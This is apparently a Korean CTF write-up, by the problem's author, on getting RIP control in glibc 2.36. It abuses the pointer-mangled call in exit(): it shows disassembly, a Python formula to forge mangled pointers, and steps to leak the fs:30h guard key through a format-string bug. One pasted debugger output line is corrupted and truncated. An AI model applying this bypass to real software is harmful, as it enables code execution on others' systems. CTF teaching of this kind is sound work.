How to RIP control in libc 2.36

TL;DR

위 문제를 libc 2.36의 exit 함수의 call rax 가젯을 이용하여 익스플로잇하는 과정이다.

Intro

때는 바야흐로 약 한 달 전.. POXX 2022 본선 문제 출제를 하던 중이었다. 해당 문제는 fsb와 aaw가 가능하지만 FULL RELRO가 걸려있어 GOT overwriting은 불가능 해서 일반적으로 malloc_hook이나 free_hook을 덮어서 익스해야 한다. 하지만 해당 문제에서의 libc 버전이 최신 버전(2.36) 이기 때문에 위와 같은 방법은 익스가 불가능하다. 왜냐하면 둘 다 사용을 안하는 것으로 패치되었기 때문이다. 해당 과정을 분석하게 된 계기는, printf에서의 malloc 호출과 exit에서의 free 호출을 살펴보면서 분석하게 되었다.

malloc_hookfree_hook을 사용하지 않는 익스 방법이 있을까 분석을 진행하다가 exit 함수에서 call rax 라는 쓸만한 가젯을 보았고 해당 부분 트리거를 진행해보았다. 물론 여러가지의 시행착오가 있었지만 한 달 전의 일이라 기억이 가물하기도 해서 트리거에 성공한 과정만 간략하게 블로그에 작성해보겠다.

How to RIP control in libc 2.36

img1

주목할 가젯은 loc_3AF9Ecall rax이고 rax에 집중 및 동적 분석을 통해 최종적으로 분석할 블록은 loc_3AF70이다.

1
2
3
4
5
6
7
8
9
10
11
12
.text:000000000003AF70
.text:000000000003AF70 loc_3AF70:
.text:000000000003AF70 add rdx, r15
.text:000000000003AF73 mov rax, [rdx+18h]
.text:000000000003AF77 mov r13, [rdx+20h]
.text:000000000003AF7B mov qword ptr [rdx+10h], 0
.text:000000000003AF83 mov edx, ebx
.text:000000000003AF85 ror rax, 11h
.text:000000000003AF89 xor rax, fs:30h
.text:000000000003AF92 xchg edx, [r14]
.text:000000000003AF95 cmp edx, 1
.text:000000000003AF98 jg loc_3B0B0

$rax 값을 [rdx+18h]에서 가져와서, ROR 연산을 시도한다. 그 후 XOR 연산도 진행한다. 이러한 두 번의 연산을 거쳐서 결국 call rax를 한다. 우리는 임의 주소 쓰기가 가능하기 때문에 rax를 조작할 수 있는 상황이다. 더 나아가서 생각해보면 [rdx+18h]을 직접 조작할 수 있고, 해당 값은 우리가 호출하고 싶은 주소가 signing 된 값임을 알 수 있다.

역연산을 통해 signing 된 값이 무엇인지 수식으로 작성해보면 아래와 같다.

1
2
3
4
5
ROL = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

sign = ROL(e.sym['gift'] ^ key, 0x11, 64)

signing 된 값을 구하기 위해 key를 알아야 한다. 0x3AF89에 break point를 걸고 rax 레지스터를 0으로 세팅하면 아래의 식에 의해 fs:30h 값을 구할 수 있다. 이 값이 key이다.

1
0 ^ A = A

그렇게 구한 fs:30h을 메모리 상에서 검색해보면 아래와 같다.

1
2
3
4
5
6
7
8
9
gef➤  search-pattern 0x7801dafd8bba0173
[+] Searching '\x73\x01\xba\x8b\xfd\xda\x01\x78' in memory
[+] In (0x7fedbeb04000-0x7fedbeb07000), permission=rw-
0x7fedbeb04770 - 0x7fedbeb04790 → "\x73\x01\xba\x8b\xfd\xda\x01\x78[...]"
[+] In '/usr/lib/ld-linux-x86-64.so.2'(0x7fedbed37000-0x7fedbed39000), permission=r--
0x7fedbed38a70 - 0x7fedbed38a90 → "\x73\x01\xba\x8b\xfd\xda\x01\x78[...]"
[+] In '[stack]'(0x7fff23bf6000-0x7fff23c17000), permissdfsd

\xfd\xda\x01\x78[...]"

stack에 이미 해당 값이 존재하고 있었고, 해당 문제에서 fsb 터지는 주소가 더 높은 곳에 위치했기 때문에 fs:30h을 leak할 수 있다.

다만 key 값이 한 바이트 밀려 있어서(?) 조금의 전처리 과정이 필요하다.

1
0x7fff23c14cf0: 0x01dafd8bba0173f5      0x0034365f36387878

leak1 = 0x01dafd8bba0173f5
leak2 = 0x0034365f36387878

leak1에서 맨 마지막 바이트를 자르고 leak2에서 맨 마지막 바이트를 가져와 맨 앞에 붙여줘야 한다.

1
2
leak1 >> 8 = 0x1dafd8bba0173
leak2 & 0xff = 0x78

최종적으로 아래와 같은 수식을 통해 key 값을 구할 수 있다.

1
2
key = (leak1 >> 8) + ((leak2 & 0xff) << 8*7)
key = 0x7801dafd8bba0173

결론적으로 우리는 key를 구했으므로 gift 함수가 signing 된 값을 구하고 스택에 값을 쓸 수 있다. 이 값은 exit 함수의 로직 중 인증이 되어 최종적으로 call 할 수 있다.